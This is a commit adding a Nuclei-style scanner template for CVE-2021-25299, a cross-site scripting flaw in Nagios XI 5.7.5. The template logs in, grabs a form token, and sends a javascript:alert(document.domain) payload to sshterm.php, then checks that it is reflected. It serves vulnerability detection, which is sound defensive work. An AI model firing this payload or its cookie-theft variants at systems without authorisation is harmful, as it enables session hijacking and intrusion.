Create CVE-2021-25299.yaml

cves/2021/CVE-2021-25299.yaml

@@ -0,0 +1,52 @@
+id: CVE-2021-25299
+
+info:
+  name: Nagios XI 5.7.5 - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    Nagios XI version xi-5.7.5 is affected by cross-site scripting (XSS). The vulnerability exists in the file /usr/local/nagiosxi/html/admin/sshterm.php due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal his/her session cookies or it can be chained with the previous bugs to get one-click remote command execution (RCE) on the Nagios XI server.
+  reference:
+    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md#cve-2021-25299
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-25299
+  classification:
+    cve-id: CVE-2021-25299
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cwe-id: CWE-79
+  tags: cve,cve2021,nagios,nagiosxi,xss,authenticated
+
+requests:
+  - raw:
+      - |
+        GET /nagiosxi/login.php HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /nagiosxi/login.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=
+
+      - |
+        GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain) HTTP/1.1
+        Host: {{Hostname}}
+
+    cookie-reuse: true
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains(all_headers_3, 'text/html')"
+          - "status_code_3 == 200"
+          - 'contains(body_3, "iframe src=\"javascript:alert(document.domain)") && contains(body_3, "SSH Terminal")'
+        condition: and
+
+    extractors:
+      - type: regex
+        name: nsp
+        part: body
+        group: 1
+        regex:
+          - 'name="nsp" value="(.*)">'
+        internal: true